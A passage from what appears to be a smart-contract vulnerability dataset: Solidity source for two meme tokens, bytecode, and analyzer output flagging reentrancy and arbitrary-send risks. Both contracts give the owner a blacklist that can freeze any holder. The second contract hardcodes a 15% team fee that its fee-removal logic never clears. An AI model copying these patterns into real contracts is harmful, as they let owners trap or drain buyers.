function setBots(address[] memory bots_) public onlyOwner() {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function setBot(address _bot) external onlyOwner() {
bots[_bot] = true;
}
function delBot(address notbot) public onlyOwner() {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
uint256 amountToTx = amount;
if (!takeFee) {
removeAllFee();
}
else if(sender == uniswapV2Pair) {
takeBuyFee();
}
else if(recipient == uniswapV2Pair) {
takeSellFee();
if (enableLevelSell) {
uint256 remainder = levelSell(amount, sender);
amountToTx = remainder;
}
}
else {
takeSellFee();
}
_transferStandard(sender, recipient, amountToTx);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _devTax, _summedTax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 _taxFee = taxFee > 0 ? taxFee : 1;
uint256 _TeamFee = TeamFee > 0 ? TeamFee : 1;
uint256 tFee = tAmount.mul(_taxFee).div(100);
uint256 tTeam = tAmount.mul(_TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external onlyOwner() {
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_summedTax = teamFee;
}
}
|
0x6080604052600436106101a05760003560e01c806395d89b41116100ec578063cba0e9961161008a578063dd62ed3e11610064578063dd62ed3e146104bc578063e01af92c14610502578063e47d606014610522578063f2fde38b1461055b57600080fd5b8063cba0e9961461044d578063d00efb2f14610486578063d543dbeb1461049c57600080fd5b8063b515566a116100c6578063b515566a146103e3578063c0e6b46e14610403578063c3c8cd8014610423578063c9567bf91461043857600080fd5b806395d89b4114610377578063a9059cbb146103a3578063a994856c146103c357600080fd5b8063313ce567116101595780636fc3eaec116101335780636fc3eaec1461030557806370a082311461031a578063715018a61461033a5780638da5cb5b1461034f57600080fd5b8063313ce567146102a95780635932ead1146102c55780636b5caec4146102e557600080fd5b806306fdde03146101ac578063095ea7b3146101f157806318160ddd1461022157806323b872dd14610247578063273123b714610267578063286671621461028957600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b5060408051808201909152600a815269496e6761727520496e7560b01b60208201525b6040516101e89190611f85565b60405180910390f35b3480156101fd57600080fd5b5061021161020c366004611e43565b61057b565b60405190151581526020016101e8565b34801561022d57600080fd5b50683635c9adc5dea000005b6040519081526020016101e8565b34801561025357600080fd5b50610211610262366004611e03565b610592565b34801561027357600080fd5b50610287610282366004611d93565b6105fb565b005b34801561029557600080fd5b506102876102a4366004611f6d565b61064f565b3480156102b557600080fd5b50604051600981526020016101e8565b3480156102d157600080fd5b506102876102e0366004611f35565b6106dc565b3480156102f157600080fd5b50610287610300366004611d93565b610724565b34801561031157600080fd5b50610287610772565b34801561032657600080fd5b50610239610335366004611d93565b6107a9565b34801561034657600080fd5b506102876107cb565b34801561035b57600080fd5b506000546040516001600160a01b0390911681526020016101e8565b34801561038357600080fd5b5060408051808201909152600381526249475560e81b60208201526101db565b3480156103af57600080fd5b506102116103be366004611e43565b61083f565b3480156103cf57600080fd5b506102876103de366004611f35565b61084c565b3480156103ef57600080fd5b506102876103fe366004611e6e565b610894565b34801561040f57600080fd5b5061028761041e366004611f6d565b610938565b34801561042f57600080fd5b506102876109d7565b34801561044457600080fd5b50610287610a17565b34801561045957600080fd5b50610211610468366004611d93565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561049257600080fd5b50610239601f5481565b3480156104a857600080fd5b506102876104b7366004611f6d565b610b4c565b3480156104c857600080fd5b506102396104d7366004611dcb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561050e57600080fd5b5061028761051d366004611f35565b610c19565b34801561052e57600080fd5b5061021161053d366004611d93565b6001600160a01b031660009081526016602052604090205460ff1690565b34801561056757600080fd5b50610287610576366004611d93565b610c61565b6000610588338484610d4b565b5060015b92915050565b600061059f848484610e6f565b6105f184336105ec85604051806060016040528060288152602001612156602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061138b565b610d4b565b5060019392505050565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611fd8565b60405180910390fd5b6001600160a01b03166000908152601660205260409020805460ff19169055565b6000546001600160a01b031633146106795760405162461bcd60e51b815260040161062590611fd8565b6001811015801561068b575060198111155b6106d75760405162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2031202d20323500000000006044820152606401610625565b601355565b6000546001600160a01b031633146107065760405162461bcd60e51b815260040161062590611fd8565b601d8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461074e5760405162461bcd60e51b815260040161062590611fd8565b6001600160a01b03166000908152601660205260409020805460ff19166001179055565b6000546001600160a01b0316331461079c5760405162461bcd60e51b815260040161062590611fd8565b476107a6816113c5565b50565b6001600160a01b03811660009081526002602052604081205461058c906114bd565b6000546001600160a01b031633146107f55760405162461bcd60e51b815260040161062590611fd8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610588338484610e6f565b6000546001600160a01b031633146108765760405162461bcd60e51b815260040161062590611fd8565b601d8054911515600160c01b0260ff60c01b19909216919091179055565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161062590611fd8565b60005b8151811015610934576001601660008484815181106108f057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092c816120eb565b9150506108c1565b5050565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161062590611fd8565b600081116109b25760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610625565b6109d16127106109cb683635c9adc5dea0000084611541565b906115c0565b60155550565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161062590611fd8565b6000610a0c306107a9565b90506107a681611602565b6000546001600160a01b03163314610a415760405162461bcd60e51b815260040161062590611fd8565b601d54600160a01b900460ff1615610a9b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610625565b601d805468015af1d78b58c40000601e5543601f5563ffff00ff60a01b1981166201000160a01b17909155601c5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b1457600080fd5b505af1158015610b28573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a69190611f51565b6000546001600160a01b03163314610b765760405162461bcd60e51b815260040161062590611fd8565b60008111610bc65760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610625565b610bde60646109cb683635c9adc5dea0000084611541565b601e8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b03163314610c435760405162461bcd60e51b815260040161062590611fd8565b601d8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610c8b5760405162461bcd60e51b815260040161062590611fd8565b6001600160a01b038116610cf05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dad5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610e0e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ed35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610f355760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610f975760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610fc357506000546001600160a01b03838116911614155b1561128957601d54600160b81b900460ff16156110aa576001600160a01b0383163014801590610ffc57506001600160a01b0382163014155b80156110165750601c546001600160a01b03848116911614155b80156110305750601c546001600160a01b03838116911614155b156110aa57601c546001600160a01b0316336001600160a01b0316148061106a5750601d546001600160a01b0316336001600160a01b0316145b6110aa5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610625565b6001600160a01b03831630146110c957601e548111156110c957600080fd5b6001600160a01b03831660009081526016602052604090205460ff1615801561110b57506001600160a01b03821660009081526016602052604090205460ff16155b801561112757503360009081526016602052604090205460ff16155b61113057600080fd5b601d546001600160a01b03848116911614801561115b5750601c546001600160a01b03838116911614155b801561118057506001600160a01b03821660009081526005602052604090205460ff16155b80156111955750601d54600160b81b900460ff165b156111e3576001600160a01b03821660009081526017602052604090205442116111be57600080fd5b6111c942600f61207d565b6001600160a01b0383166000908152601760205260409020555b60006111ee306107a9565b905060155481106111fe57506015545b601454601d549082101590600160a81b900460ff161580156112295750601d54600160b01b900460ff165b80156112325750805b801561124c5750601d546001600160a01b03868116911614155b80156112665750601c546001600160a01b03868116911614155b156112865761127482611602565b47801561128457611284476113c5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112cb57506001600160a01b03831660009081526005602052604090205460ff165b156112d4575060005b6000546001600160a01b0385811691161480159061130057506000546001600160a01b03848116911614155b801561131a5750601d546001600160a01b03848116911614155b1561137957601d54600160b01b900460ff166113685760405162461bcd60e51b815260206004820152600d60248201526c14ddd85c08191a5cd8589b1959609a1b6044820152606401610625565b611374848484846117a9565b611385565b611385848484846117a9565b50505050565b600081848411156113af5760405162461bcd60e51b81526004016106259190611f85565b5060006113bc84866120d4565b95945050505050565b601854600c546011546001600160a01b03909216916108fc916113f3916113ed9086906115c0565b90611541565b6040518115909202916000818181858888f1935050505015801561141b573d6000803e3d6000fd5b50601a546009546011546001600160a01b03909216916108fc91611444916113ed9086906115c0565b6040518115909202916000818181858888f1935050505015801561146c573d6000803e3d6000fd5b50601954600f546011546001600160a01b03909216916108fc91611495916113ed9086906115c0565b6040518115909202916000818181858888f19350505050158015610934573d6000803e3d6000fd5b60006006548211156115245760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b600061152e611845565b905061153a83826115c0565b9392505050565b6000826115505750600061058c565b600061155c83856120b5565b9050826115698583612095565b1461153a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b600061153a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611868565b601d805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061165857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116ac57600080fd5b505afa1580156116c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e49190611daf565b8160018151811061170557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601c5461172d91309116600019610d4b565b601c5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061176690859060009086903090429060040161200d565b600060405180830381600087803b15801561178057600080fd5b505af1158015611794573d6000803e3d6000fd5b5050601d805460ff60a81b1916905550505050565b81816117bc576117b7611896565b611826565b601d546001600160a01b03868116911614156117da576117b76118b9565b601d546001600160a01b038581169116141561181e576117f86118d9565b601d54600160c01b900460ff16156117b757600061181684876118f8565b915050611826565b6118266118d9565b6118318585836119ba565b8161183e5761183e611ab1565b5050505050565b6000806000611852611ad0565b909250905061186182826115c0565b9250505090565b600081836118895760405162461bcd60e51b81526004016106259190611f85565b5060006113bc8486612095565b6008541580156118a65750601354155b156118ad57565b60006008819055601355565b600f54600e819055600c54600b8190556009546008556106d7919061207d565b600a54600855601054600e819055600d54600b8190556106d79161207d565b60008061191560646109cb6012548761154190919063ffffffff16565b6001600160a01b03841660009081526002602052604090205490915061193b9082611b12565b6001600160a01b0384166000908152600260205260408082209290925530815220546119679082611b54565b306000908152600260205260408120919091556119848583611b12565b90504761199083611602565b47600061199d83836120d4565b905080156119ae576119ae81611bb3565b50919695505050505050565b6000806000806000806119cc87611bed565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119fe9087611b12565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a2d9086611b54565b6001600160a01b038916600090815260026020526040902055611a4f81611c4a565b611a598483611c94565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a9e91815260200190565b60405180910390a3505050505050505050565b600954600855600c54600b819055600f54600e8190556106d79161207d565b6006546000908190683635c9adc5dea00000611aec82826115c0565b821015611b0957505060065492683635c9adc5dea0000092509050565b90939092509050565b600061153a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061138b565b600080611b61838561207d565b90508381101561153a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b601b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610934573d6000803e3d6000fd5b6000806000806000806000806000611c0a8a600854601354611cb8565b9250925092506000611c1a611845565b90506000806000611c2d8e878787611d33565b919e509c509a509598509396509194505050505091939550919395565b6000611c54611845565b90506000611c628383611541565b30600090815260026020526040902054909150611c7f9082611b54565b30600090815260026020526040902055505050565b600654611ca19083611b12565b600655600754611cb19082611b54565b6007555050565b60008060008060008611611ccd576001611ccf565b855b90506000808611611ce1576001611ce3565b855b90506000611cf660646109cb8b86611541565b90506000611d0960646109cb8c86611541565b90506000611d2182611d1b8d86611b12565b90611b12565b9b929a50909850909650505050505050565b6000808080611d428886611541565b90506000611d508887611541565b90506000611d5e8888611541565b90506000611d7082611d1b8686611b12565b939b939a50919850919650505050505050565b8035611d8e81612132565b919050565b600060208284031215611da4578081fd5b813561153a81612132565b600060208284031215611dc0578081fd5b815161153a81612132565b60008060408385031215611ddd578081fd5b8235611de881612132565b91506020830135611df881612132565b809150509250929050565b600080600060608486031215611e17578081fd5b8335611e2281612132565b92506020840135611e3281612132565b929592945050506040919091013590565b60008060408385031215611e55578182fd5b8235611e6081612132565b946020939093013593505050565b60006020808385031215611e80578182fd5b823567ffffffffffffffff80821115611e97578384fd5b818501915085601f830112611eaa578384fd5b813581811115611ebc57611ebc61211c565b8060051b604051601f19603f83011681018181108582111715611ee157611ee161211c565b604052828152858101935084860182860187018a1015611eff578788fd5b8795505b83861015611f2857611f1481611d83565b855260019590950194938601938601611f03565b5098975050505050505050565b600060208284031215611f46578081fd5b813561153a81612147565b600060208284031215611f62578081fd5b815161153a81612147565b600060208284031215611f7e578081fd5b5035919050565b6000602080835283518082850152825b81811015611fb157858101830151858201604001528201611f95565b81811115611fc25783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561205c5784516001600160a01b031683529383019391830191600101612037565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561209057612090612106565b500190565b6000826120b057634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156120cf576120cf612106565b500290565b6000828210156120e6576120e6612106565b500390565b60006000198214156120ff576120ff612106565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107a657600080fd5b80151581146107a657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206d00eae2f361f8414db60302365236b099f0ead1f89185fcc29acc4877be0bb164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,370 |
0xdadd6be7ac6fb7193dc7fcc71c4a5c1ccef873b4
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DogeSpaceXINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Doge SpaceX INU";
string private constant _symbol = " DogeS ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
